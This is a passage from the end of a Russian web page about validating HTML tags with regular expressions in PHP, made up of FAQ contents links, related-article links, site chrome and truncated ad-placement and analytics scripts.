class="ez-toc-link ez-toc-heading-16" href="#FAQ" title="FAQ">FAQ</a><ul class="ez-toc-list-level-4"><li class="ez-toc-heading-level-4"><ul class="ez-toc-list-level-4"><li class="ez-toc-heading-level-4"><a class="ez-toc-link ez-toc-heading-17" href="#%D0%9A%D0%B0%D0%BA_%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%B8%D1%82%D1%8C_%D0%B2%D0%B0%D0%BB%D0%B8%D0%B4%D0%BD%D0%BE%D1%81%D1%82%D1%8C_HTML_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2_%D0%B1%D0%B5%D0%B7_PHP" title="Как проверить валидность HTML тегов без PHP?">Как проверить валидность HTML тегов без PHP?</a></li><li class="ez-toc-page-1 ez-toc-heading-level-4"><a class="ez-toc-link ez-toc-heading-18" href="#%D0%9A%D0%B0%D0%BA_%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%B8%D1%82%D1%8C_HTML_%D1%82%D0%B5%D0%B3%D0%B8_%D0%B5%D1%81%D0%BB%D0%B8_%D1%83_%D0%BC%D0%B5%D0%BD%D1%8F_%D0%BD%D0%B5%D1%82_%D0%BE%D0%BF%D1%8B%D1%82%D0%B0_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F_PHP" title="Как проверить HTML теги, если у меня нет опыта использования PHP?">Как проверить HTML теги, если у меня нет опыта использования PHP?</a></li><li class="ez-toc-page-1 ez-toc-heading-level-4"><a class="ez-toc-link ez-toc-heading-19" href="#%D0%A7%D1%82%D0%BE_%D1%82%D0%B0%D0%BA%D0%BE%D0%B5_%D1%80%D0%B5%D0%B3%D1%83%D0%BB%D1%8F%D1%80%D0%BD%D1%8B%D0%B5_%D0%B2%D1%8B%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F_%D0%B8_%D0%BA%D0%B0%D0%BA_%D0%B8%D0%BC%D0%B8_%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D1%8C%D1%81%D1%8F_%D0%B4%D0%BB%D1%8F_%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%BA%D0%B8_HTML_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2" title="Что такое регулярные выражения и как ими пользоваться для проверки HTML тегов?">Что такое регулярные выражения и как ими пользоваться для проверки HTML тегов?</a></li><li class="ez-toc-page-1 ez-toc-heading-level-4"><a class="ez-toc-link ez-toc-heading-20" href="#%D0%9A%D0%B0%D0%BA%D0%B8%D0%B5_%D0%B5%D1%81%D1%82%D1%8C_%D0%B0%D0%BB%D1%8C%D1%82%D0%B5%D1%80%D0%BD%D0%B0%D1%82%D0%B8%D0%B2%D1%8B_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8E_%D1%80%D0%B5%D0%B3%D1%83%D0%BB%D1%8F%D1%80%D0%BD%D1%8B%D1%85_%D0%B2%D1%8B%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9_%D0%B4%D0%BB%D1%8F_%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%BA%D0%B8_HTML_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2_%D0%B2_PHP" title="Какие есть альтернативы использованию регулярных выражений для проверки HTML тегов в PHP?">Какие есть альтернативы использованию регулярных выражений для проверки HTML тегов в PHP?</a></li><li class="ez-toc-page-1 ez-toc-heading-level-4"><a class="ez-toc-link ez-toc-heading-21" href="#%D0%9C%D0%BE%D0%B6%D0%BD%D0%BE_%D0%BB%D0%B8_%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D1%8F%D1%82%D1%8C_%D0%B2%D0%B0%D0%BB%D0%B8%D0%B4%D0%BD%D0%BE%D1%81%D1%82%D1%8C_HTML_%D1%82%D0%B5%D0%B3%D0%BE%D0%B2_%D0%B1%D0%B5%D0%B7_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F_PHP_%D0%BD%D0%B0%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D1%80_%D0%BD%D0%B0_%D1%81%D1%82%D0%BE%D1%80%D0%BE%D0%BD%D0%B5_%D0%BA%D0%BB%D0%B8%D0%B5%D0%BD%D1%82%D0%B0" title="Можно ли проверять валидность HTML тегов без использования PHP, например, на стороне клиента?">Можно ли проверять валидность HTML тегов без использования PHP, например, на стороне клиента?</a></li></ul></li></ul></li></ul></nav></div></div></article><div class="post-meta"><div class="post-share"><div class="post-share__title">Поделиться с друзьями:</div><div class="likely"><div class="twitter">Твитнуть</div><div class="facebook">Поделиться</div><div class="vkontakte">Поделиться</div><div class="telegram">Отправить</div><div class="odnoklassniki">Класснуть</div></div></div></div><meta itemprop="headline" content="Как проверить валидность HTML тегов с помощью регулярных выражений в PHP?"><meta itemprop="author" content="Zdron"><meta itemprop="datePublished" content="2018-06-22"><meta itemprop="dateModified" content="2023-06-14"> <a itemprop="url" href="https://zdrons.ru/veb-programmirovanie/kak-proverit-validnost-html-tegov-s-pomoshhju-regulyarnyh-vyrazhenij-v-php/" style="display:none">Как проверить валидность HTML тегов с помощью регулярных выражений в PHP?</a> <a itemprop="mainEntityOfPage" href="https://zdrons.ru/veb-programmirovanie/kak-proverit-validnost-html-tegov-s-pomoshhju-regulyarnyh-vyrazhenij-v-php/" style="display:none">Ссылка на основную публикацию</a><div style="display: none;" itemprop="image" itemscope itemtype="https://schema.org/ImageObject"> <img itemprop="url" src="https://zdrons.ru/wp-content/cache/thumb/01/7887d31017e5901_320x200.jpg" alt="Как проверить валидность HTML тегов с помощью регулярных выражений в PHP?"><meta itemprop="width" content="320"><meta itemprop="height" content="200"></div><div style="display: none;" itemprop="publisher" itemscope itemtype="https://schema.org/Organization"><meta itemprop="name" content="ZDRONS.RU"><div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject"> <img itemprop="url" src="http://zdrons.ru/wp-content/uploads/2020/07/zdrons-logo.jpg" alt="ZDRONS.RU"></div></div></div><div class='yarpp-related'><h3>Еще статьи:</h3><ol><li><a href="https://zdrons.ru/veb-programmirovanie/popupvar-memberlist-php-phpbb-group-funkcionalnost-i-ispolzovanie/" rel="bookmark" title="Popupvar memberlist php phpbb group: функциональность и использование">Popupvar memberlist php phpbb group: функциональность и использование </a></li><li><a href="https://zdrons.ru/veb-programmirovanie/kak-obrashhatsya-k-elementu-massiva-v-php-poshagovyj-gajd-i-primery-koda/" rel="bookmark" title="Как обращаться к элементу массива в PHP: пошаговый гайд и примеры кода">Как обращаться к элементу массива в PHP: пошаговый гайд и примеры кода </a></li><li><a href="https://zdrons.ru/veb-programmirovanie/udalenie-dannyh-iz-bazy-dannyh-s-pomoshhju-php-shag-za-shagom/" rel="bookmark" title="Удаление данных из базы данных с помощью PHP: шаг за шагом">Удаление данных из базы данных с помощью PHP: шаг за шагом </a></li><li><a href="https://zdrons.ru/veb-programmirovanie/ogranichenie-na-razmer-fajla-v-php-kakoj-maksimalnyj-razmer-zagruzit-na-sajt/" rel="bookmark" title="Ограничение на размер файла в PHP: какой максимальный размер загрузить на сайт?">Ограничение на размер файла в PHP: какой максимальный размер загрузить на сайт? </a></li><li><a href="https://zdrons.ru/veb-programmirovanie/otkrytie-foto-na-vkontakte-po-id-poshagovaya-instrukciya-na-php-vkontakte-ru-photos-php-id/" rel="bookmark" title="«Открытие фото на ВКонтакте по ID: пошаговая инструкция на PHP» — VKontakte ru photos php id">«Открытие фото на ВКонтакте по ID: пошаговая инструкция на PHP» — VKontakte ru photos php id </a></li></ol></div><aside class="comments-block"><div id="respond" class="respond"><div class="respond__title">Добавить комментарий</div><div id="cancel-comment-reply"><a rel="nofollow" id="cancel-comment-reply-link" href="/veb-programmirovanie/kak-proverit-validnost-html-tegov-s-pomoshhju-regulyarnyh-vyrazhenij-v-php/#respond" style="display:none;">Нажмите, чтобы отменить ответ.</a></div> <!--noindex--><form action="https://zdrons.ru/wp-comments-post.php" method="post" class="respond-form"> <input type="text" name="author" id="author" placeholder="Ваше имя:" class="respond-form__field respond-form__name" value="" aria-required='true' /> <input type="text" name="email" id="email" placeholder="Ваш e-mail:" class="respond-form__field respond-form__email" value="" aria-required='true' /> <input type="text" name="url" id="url" placeholder="Ваш сайт:" class="respond-form__field respond-form__site" value="" /><textarea name="comment" id="comment_textarea" rows="7" placeholder="Ваш комментарий:" class="respond-form__text respond-form__textarea"></textarea><input name="submit" type="submit" class="respond-form__button" value="Отправить" /> <input type='hidden' name='comment_post_ID' value='18274' id='comment_post_ID' /> <input type='hidden' name='comment_parent' id='comment_parent' value='0' /></form> <!--/noindex--></div></aside></main><aside class="sidebar sidebar_midle"><div class="widget_text section section_widget widget_custom_html"><div class="textwidget custom-html-widget"><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3967411154464684" crossorigin="anonymous"></script> <ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-3967411154464684" data-ad-slot="5926433654" data-ad-format="auto" data-full-width-responsive="true"></ins> <script>(adsbygoogle = window.adsbygoogle || []).push({});</script></div></div><div class="section-posts-box section"><div class="title">Популярные статьи</div><div class="section-posts"><div class="section-posts__item"> <img src="https://zdrons.ru/wp-content/cache/thumb/01/7887d31017e5901_300x180.jpg" width="300" height="180" class="section-posts__item-img" alt="A 4228 newthread php do: что это такое и как использовать?" /><div class="section-posts__item-title"> <a href="https://zdrons.ru/veb-programmirovanie/a-4228-newthread-php-do-chto-eto-takoe-i-kak-ispolzovat/">A 4228 newthread php do: что это такое и как использовать?</a></div><div class="section-posts__item-text"> A 4228 newthread php do - это функция, используемая на...</div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div></div></div><div class="section-posts__item"> <img src="https://zdrons.ru/wp-content/cache/thumb/01/7887d31017e5901_300x180.jpg" width="300" height="180" class="section-posts__item-img" alt="Гостевая книга с регистрацией в PHP: использование инструмента inurl guestbook php act reg" /><div class="section-posts__item-title"> <a href="https://zdrons.ru/veb-programmirovanie/gostevaya-kniga-s-registraciej-v-php-ispolzovanie-instrumenta-inurl-guestbook-php-act-reg/">Гостевая книга с регистрацией в PHP: использование инструмента inurl guestbook php act reg</a></div><div class="section-posts__item-text"> Узнайте, как создать гостевую книгу с регистрацией на PHP, используя...</div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div></div></div><div class="section-posts__item"> <img src="https://zdrons.ru/wp-content/cache/thumb/01/7887d31017e5901_300x180.jpg" width="300" height="180" class="section-posts__item-img" alt="Гостевые книги в формате inurl guestbook php act the: полное руководство" /><div class="section-posts__item-title"> <a href="https://zdrons.ru/veb-programmirovanie/gostevye-knigi-v-formate-inurl-guestbook-php-act-the-polnoe-rukovodstvo/">Гостевые книги в формате inurl guestbook php act the: полное руководство</a></div><div class="section-posts__item-text"> В статье рассматривается использование гостевых книг в формате inurl guestbook...</div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div></div></div></div></div><div class="widget_text section section_widget widget_custom_html"><div class="title">Популярные Бренды на OS Android</div><div class="textwidget custom-html-widget"><ul><li><a href="https://zdrons.ru/?s=Samsung">Samsung</a></li><li><a href="https://zdrons.ru/?s=Huawei">Huawei</a></li><li><a href="https://zdrons.ru/?s=Xiaomi">Xiaomi</a></li><li><a href="https://zdrons.ru/?s=Honor">Honor</a></li><li><a href="https://zdrons.ru/?s=LG">LG</a></li><li><a href="https://zdrons.ru/?s=Meizu">Meizu</a></li><li><a href="https://zdrons.ru/?s=Lenovo">Lenovo</a></li><li><a href="https://zdrons.ru/?s=ZTE">ZTE</a></li><li><a href="https://zdrons.ru/?s=Nokia">Nokia</a></li><li><a href="https://zdrons.ru/?s=Philips">Philips</a></li><li><a href="https://zdrons.ru/?s=Prestigio">Prestigio</a></li></ul></div></div></aside></div></div><footer class="footer" id="footer"><nav class="footer-nav"><ul><li id="menu-item-13616" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-13616"><a href="https://zdrons.ru/ob-avtore/">Об авторе</a></li><li id="menu-item-9724" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-9724"><a href="https://zdrons.ru/spisok-statej-sajta/">Список статей сайта</a></li><li id="menu-item-14015" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-14015"><a href="https://zdrons.ru/polzovatelskoe-soglashenie/">Пользовательское соглашение</a></li><li id="menu-item-14016" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-14016"><a href="https://zdrons.ru/politika-konfidencialnosti/">Политика конфиденциальности</a></li></ul></nav><div class="footer-bottom"><div class="copy">© 2024 Все права защищены.</div></div></footer></div> <script type='text/javascript' id='contact-form-7-js-extra'>var wpcf7 = {"apiSettings":{"root":"https:\/\/zdrons.ru\/wp-json\/contact-form-7\/v1","namespace":"contact-form-7\/v1"}};</script> <script type='text/javascript' id='jquery-lazyloadxt-js-extra'>var a3_lazyload_params = {"apply_images":"1","apply_videos":"1"};</script> <script type='text/javascript' id='jquery-lazyloadxt-extend-js-extra'>var a3_lazyload_extend_params = {"edgeY":"0","horizontal_container_classnames":""};</script> <script type='text/javascript' id='ez-toc-js-js-extra'>var ezTOC = {"smooth_scroll":"1","visibility_hide_by_default":"","width":"auto","scroll_offset":"30"};</script> <script type="text/javascript" >(function (d, w, c) { (w[c] = w[c] || []).push(function() { try { w.yaCounter57878959 = new Ya.Metrika({ id:57878959, clickmap:true, trackLinks:true, accurateTrackBounce:true, webvisor:true, trackHash:true, ecommerce:"dataLayer" }); } catch(e) { } }); var n = d.getElementsByTagName("script")[0], s = d.createElement("script"), f = function () { n.parentNode.insertBefore(s, n); }; s.type = "text/javascript"; s.async = true; s.src = "https://mc.yandex.ru/metrika/watch.js"; if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); } })(document, window, "yandex_metrika_callbacks");</script> <noscript><div><img src="https://mc.yandex.ru/watch/57878959" style="position:absolute; left:-9999px;" alt="" /></div></noscript> <ins id="adsense" class="adsbygoogle" data-tag="flat_pm" style="position:absolute;left:-9999px;top:-9999px">Adblock<br>detector</ins><style>.flat__4_modal{position:fixed;top:50%;left:50%;height:auto;z-index:-2000;visibility:hidden;backface-visibility:hidden;transform:translateX(-50%) translateY(-50%)} .flat__4_modal-show{z-index:2000;visibility:visible} .flat__4_modal-overlay{position:fixed;width:100%;height:100%;visibility:hidden;top:0;left:0;z-index:-1000;opacity:0;background:rgba(0,0,0,.55);transition:opacity .3s ease} .flat__4_modal-show ~ .flat__4_modal-overlay{z-index:1000;opacity:1;visibility:visible} .flat__4_modal-content{background:#fff;position:relative;transform:translateY(30%);opacity:0;transition:all .3s ease;min-width:200px;min-height:100px} .flat__4_modal-show .flat__4_modal-content{transform:translateY(0);opacity:1} .flat__4_modal .flat__4_timer, .flat__4_modal .flat__4_cross{top:0!important} .flat__4_cross{transition:box-shadow .2s ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#000000;display:block;cursor:pointer;z-index:99;border:none;padding:0;min-width:0;min-height:0} .flat__4_cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset} .flat__4_cross:after, .flat__4_cross:before{transition:transform .3s ease;content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto} .flat__4_cross:before{transform:rotate(-45deg)} .flat__4_cross:hover:after{transform:rotate(225deg)} .flat__4_cross:hover:before{transform:rotate(135deg)} .flat__4_timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#000000;line-height:34px;height:34px;text-align:center;font-size:14px;z-index:99} .flat__4_timer span{font-size:16px;font-weight:600} .flat__4_out{transition:transform .3s ease,opacity 0s ease;transition-delay:0s,.3s;position:fixed;min-width:250px;min-height:150px;z-index:9999;opacity:0;-webkit-backface-visibility:hidden} .flat__4_out *{max-width:none!important} .flat__4_out.top .flat__4_cross{top:auto;bottom:150px} .flat__4_out.show.top .flat__4_cross{bottom:-0px} .flat__4_out.bottom .flat__4_cross{top:150px} .flat__4_out.show.bottom .flat__4_cross{top:-0px} .flat__4_out.right .flat__4_cross{right:auto;left:0} .flat__4_out.top .flat__4_timer{top:auto;bottom:150px} .flat__4_out.show.top .flat__4_timer{bottom:-0px} .flat__4_out.bottom .flat__4_timer{top:150px} .flat__4_out.show.bottom .flat__4_timer{top:-0px} .flat__4_out.right .flat__4_timer{right:auto;left:0} .flat__4_out.top{bottom:100%;left:50%;transform:translateY(0) translateX(-50%);padding-bottom:150px} .flat__4_out.bottom{top:100%;left:50%;transform:translateY(0) translateX(-50%);padding-top:150px} .flat__4_out.left{bottom:0;right:100%;transform:translateX(0);left:auto} .flat__4_out.right{bottom:0;left:100%;transform:translateX(0);right:auto} .flat__4_out.show{transition-delay:0s,0s;opacity:1;min-width:0;min-height:0;background:#fff} .flat__4_out.closed{min-width:0;min-height:0} .flat__4_out.show.top{transform:translateY(100%) translateX(-50%);padding-bottom:0px} .flat__4_out.show.bottom{transform:translateY(-100%) translateX(-50%);padding-top:0px} .flat__4_out.show.left{transform:translateX(100%)} .flat__4_out.show.right{transform:translateX(-100%)} .flatpm_fixed{position:fixed;z-index:50} .flatpm_stop{position:relative;z-index:50} .flat__4_video{position:relative;overflow:hidden;padding-bottom:56.25%;height:0} .flat__4_video iframe{display:block;width:100%;height:100%;position:absolute} .flat__4_video_flex{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.65);opacity:0;transition:opacity .35s ease} .flat__4_video_flex.show{opacity:1} .flat__4_video_item{position:relative;max-height:calc(100% - 68px);max-width:calc(100% - 68px);z-index:-1} .flat__4_video_flex.show .flat__4_video_item{z-index:1} .flat__4_video_flex .flat__4_timer, .flat__4_video_flex .flat__4_cross{top:10px!important;right:10px!important} .flat__4_video_item_hover{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;cursor:pointer;z-index:2}</style> <script>var duplicateMode="undefined"!=typeof duplicateFlatPM&&duplicateFlatPM,untilscroll="undefined"!=typeof untilscrollFlatPM?untilscrollFlatPM:".flat_pm_end";document['wr'+'ite']=function(e){var t=document.createElement("div");ff(document.currentScript).after(t),flatPM_setHTML(t,e),ff(t).contents().unwrap()},window.flatPM_sticky=function(e,d,t){var a=e,l=null,f=t=t||0;function n(){if(null==l){for(var e=getComputedStyle(a,""),t="",n=0;n<e.length;n++)0!=e[n].indexOf("overflow")&&0!=e[n].indexOf("padding")&&0!=e[n].indexOf("border")&&0!=e[n].indexOf("outline")&&0!=e[n].indexOf("box-shadow")&&0!=e[n].indexOf("background")||(t+=e[n]+": "+e.getPropertyValue(e[n])+"; ");(l=document.createElement("div")).style.cssText=t+" box-sizing: border-box; width: "+a.offsetWidth+"px;",a.insertBefore(l,a.firstChild);for(var o=a.childNodes.length,n=1;n<o;n++)l.appendChild(a.childNodes[1]);a.style.padding="0",a.style.border="0"}a.style.height=l.getBoundingClientRect().height+"px";var i=a.getBoundingClientRect(),r=Math.round(i.top+l.getBoundingClientRect().height-d.getBoundingClientRect().bottom);i.top-f<=0?i.top-f<=r?(l.className="flatpm_stop",l.style.top=-r+"px"):(l.className="flatpm_fixed",l.style.top=f+"px"):(l.className="",l.style.top=""),window.addEventListener("resize",function(){a.children[0].style.width=getComputedStyle(a,"").width},!1)}window.addEventListener("scroll",n,!1),document.body.addEventListener("scroll",n,!1)},window.flatPM_addDays=function(e,t){var n=60*e.getTimezoneOffset()*1e3,o=e.getTime(),e=new Date;return o+=864e5*t,e.setTime(o),n!=(t=60*e.getTimezoneOffset()*1e3)&&(o+=t-n,e.setTime(o)),e},window.flatPM_adbDetect=function(){var e=document.querySelector('#ads'+'ense.adsbygo'+'ogle[data-tag="flat_pm"]');if(!e)return!0;e=e.currentStyle||window.getComputedStyle(e,null),e=parseInt(e.height);return!(!isNaN(e)&&0!=e)},window.flatPM_setCookie=function(e,t,n){var o,i=(n=n||{path:"/"}).expires;"number"==typeof i&&i&&((o=new Date).setTime(o.getTime()+1e3*i),i=n.expires=o),i&&i.toUTCString&&(n.expires=i.toUTCString());var r,d=e+"="+(t=encodeURIComponent(t));for(r in n){d+="; "+r;var a=n[r];!0!==a&&(d+="="+a)}document.cookie=d},window.flatPM_getCookie=function(n){var e=document.cookie.split("; ").reduce(function(e,t){t=t.split("=");return t[0]===n?decodeURIComponent(t[1]):e},"");return""!=e?e:void 0},window.flatPM_testCookie=function(){var e="test_56445";try{return localStorage.setItem(e,e),localStorage.removeItem(e),!0}catch(e){return!1}},window.flatPM_grep=function(e,n,o){return ff.grep(e,function(e,t){return o?t==n:(t+1)%n==0})},window.flatPM_randomString=function(e){for(var t="",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",o=n.length,i=0;i<e;i++)t+=n.charAt(Math.floor(Math.random()*o));return t},window.flatPM_random=function(e,t){return Math.floor(Math.random()*(t-e+1))+e},window.flatPM_getAllUrlParams=function(e){var e=e?e.split("?")[1]:window.location.search.slice(1),t={};if(e)for(var n=(e=e.split("#")[0]).split("&"),o=0;o<n.length;o++){var i,r=n[o].split("="),d=r[0],a=void 0===r[1]||r[1],d=d.toLowerCase();"string"==typeof a&&(a=a.toLowerCase()),d.match(/\[(\d+)?\]$/)?(t[i=d.replace(/\[(\d+)?\]/,"")]||(t[i]=[]),d.match(/\[\d+\]$/)?(r=/\[(\d+)\]/.exec(d)[1],t[i][r]=a):t[i].push(a)):t[d]?(t[d]&&"string"==typeof t[d]&&(t[d]=[t[d]]),t[d].push(a)):t[d]=a}return t};var ff,flat_body,flat_stack_scripts=[],flat_pm_then=[],flat_date=new Date,flat_titles="h1,h2,h3,h4,h5,h6",flat_dateYear=flat_date.getFullYear(),flat_dateMonth=2==(flat_date.getMonth()+1+"").length?flat_date.getMonth()+1:"0"+(flat_date.getMonth()+1),flat_dateDay=2==(flat_date.getDate()+"").length?flat_date.getDate():"0"+flat_date.getDate(),flat_dateHours=2==(flat_date.getHours()+"").length?flat_date.getHours():"0"+flat_date.getHours(),flat_dateMinutes=2==(flat_date.getMinutes()+"").length?flat_date.getMinutes():"0"+flat_date.getMinutes(),flat_adbDetect=!1,flat_userVars={init:function(){this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=flat_dateYear+"-"+flat_dateMonth+"-"+flat_dateDay,this.time=flat_dateHours+":"+flat_dateMinutes,this.adb=flatPM_adbDetect(),this.until=ff(".flat_pm_start").nextUntil(".flat_pm_end"),this.textlen=this.until.text().replace(/(\s)+/g,"").length,this.titlelen=this.until.find(flat_titles).add(this.until.siblings(flat_titles)).length,this.country=this.cookieData("country"),this.city=this.cookieData("city"),this.ccode=this.cookieData("ccode"),this.role=this.cookieData("role"),this.ip=this.cookieData("ip")},cookieReferer:function(){return parent!==window?"///:iframe":flat_userVars.testcook?(void 0===flatPM_getCookie("flat_r_mb")&&flatPM_setCookie("flat_r_mb",""!=document.referrer?document.referrer:"///:direct"),flatPM_getCookie("flat_r_mb")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(t){return flat_userVars.testcook&&void 0!==flatPM_getCookie("flat_"+t+"_mb")?flatPM_getCookie("flat_"+t+"_mb"):""},searchString:function(t){for(var e=t.length,a=0;a<e;a++){var o=t[a].str;if(o&&t[a].subStr.test(o))return t[a].id}},dataBrowser:[{str:navigator.userAgent,subStr:/OmniWeb/,ver:"OmniWeb/",id:"OmniWeb"},{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari",ver:"Version"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera",ver:"Version"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/.NET CLR/,id:"Internet Explorer",ver:"MSIE"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge",ver:"rv"},{str:navigator.vendor,subStr:/iCab/,id:"iCab"},{str:navigator.vendor,subStr:/KDE/,id:"Konqueror"},{str:navigator.vendor,subStr:/Camino/,id:"Camino"},{str:navigator.userAgent,subStr:/Netscape/,id:"Netscape"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"},{str:navigator.userAgent,subStr:/Mozilla/,id:"Netscape",ver:"Mozilla"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]};/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex"),window.flatPM_ajax=function(t,e){e=e||[],ff.ajax({type:"POST",url:ajaxUrlFlatPM,dataType:"json",data:{action:"flat_pm_ajax",data_me:{method:t,arr:e}},success:function(t){flat_body.removeClass(t.method),"block_geo_role_ip"===t.method?(flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie("flat_ccode_mb",t.data.ccode),flatPM_setCookie("flat_country_mb",t.data.country),flatPM_setCookie("flat_city_mb",t.data.city),flatPM_setCookie("flat_ip_mb",t.data.ip),flatPM_setCookie("flat_role_mb",t.data.role)),flatPM_then()):(console.log("ajax error:"),console.error("Метод оказался ошибочным"))},error:function(){console.log("ajax error:"),console.error("Скрипт php вернул ошибку")}})},window.flatPM_then=function(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++){var a=flat_pm_then[e];flatPM_next(a)}0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]},window.flatPM_persentWrapper=function(t,a,e){var o=0,r=!1;return t.each(function(){var t=ff(this),e=t.text().replace(/(\s)+/g,"");if(o+=e.length,a<=o)return r=t,!1}),r},window.flatPM_setWrap=function(t){try{var e,a,o,r,i,l,f,s,n,d=document.createElement("div");d.setAttribute("data-flat-id",t.ID),void 0!==t.how.simple&&("1"==t.how.simple.position&&ff(".flat_pm_start").before(d),"2"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(d),"3"==t.how.simple.position&&ff(".flat_pm_end").before(d),"4"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length*t.how.simple.fraction.split("/")[0]/t.how.simple.fraction.split("/")[1])]).before(d),"5"==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(e=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,d))||e.next().is("[data-flat-id]")||e.after(d)),"6"==t.how.simple.position&&(d.setAttribute("data-flat-type","6"),r=flat_userVars.textlen/100*t.how.simple.fraction,e=flatPM_persentWrapper(flat_userVars.until,r,d),(a=!1)!==e&&(o=e.prevAll('[data-flat-type="6"]:first'),r=e.nextAll('[data-flat-type="6"]:first'),0!=o.length&&e.prevUntil(o).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),0!=r.length&&e.nextUntil(r).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),a||e.after(d)))),void 0!==t.how.onсe&&(i="true"==t.how.onсe.search_all?ff("html"):flat_userVars.until,l=t.how.onсe.N,f=t.how.onсe.selector,s=t.how.onсe.direction,n=t.how.onсe.before_after,0<(i=i.find(f).add(i.filter(f))).length&&(l="bottom_to_top"==s?i.length-l:l-1,"after"==n&&ff(flatPM_grep(i,l,1)).after(d),"before"==n&&ff(flatPM_grep(i,l,1)).before(d),"append"==n&&ff(flatPM_grep(i,l,1)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,1)).prepend(d))),void 0!==t.how.iterable&&(i="true"==t.how.iterable.search_all?ff("html"):flat_userVars.until,l=t.how.iterable.N,f=t.how.iterable.selector,s=t.how.iterable.direction,n=t.how.iterable.before_after,0<(i=i.find(f).add(i.filter(f))).length&&("bottom_to_top"==s&&(i=i.get().reverse()),"after"==n&&ff(flatPM_grep(i,l,0)).after(d),"before"==n&&ff(flatPM_grep(i,l,0)).before(d),"append"==n&&ff(flatPM_grep(i,l,0)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,0)).prepend(d)))}catch(t){console.warn(t)}},window.flatPM_next=function(o){try{var t=[],e="",a=o.html.length;if(void 0!==o.ip&&"false"==flat_userVars.ip)return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.role&&(void 0!==o.role.role_enabled&&-1==o.role.role_enabled.indexOf(flat_userVars.role)||void 0!==o.role.role_disabled&&-1!=o.role.role_disabled.indexOf(flat_userVars.role)))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.geo&&(void 0!==o.geo.country_enabled&&-1==o.geo.country_enabled.indexOf(flat_userVars.country)&&-1==o.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==o.geo.country_disabled&&(-1!=o.geo.country_disabled.indexOf(flat_userVars.country)||-1!=o.geo.country_disabled.indexOf(flat_userVars.ccode))||void 0!==o.geo.city_enabled&&-1==o.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==o.geo.city_disabled&&-1!=o.geo.city_disabled.indexOf(flat_userVars.city)))return void ff('[data-flat-id="'+o.ID+'"]').remove();for(var 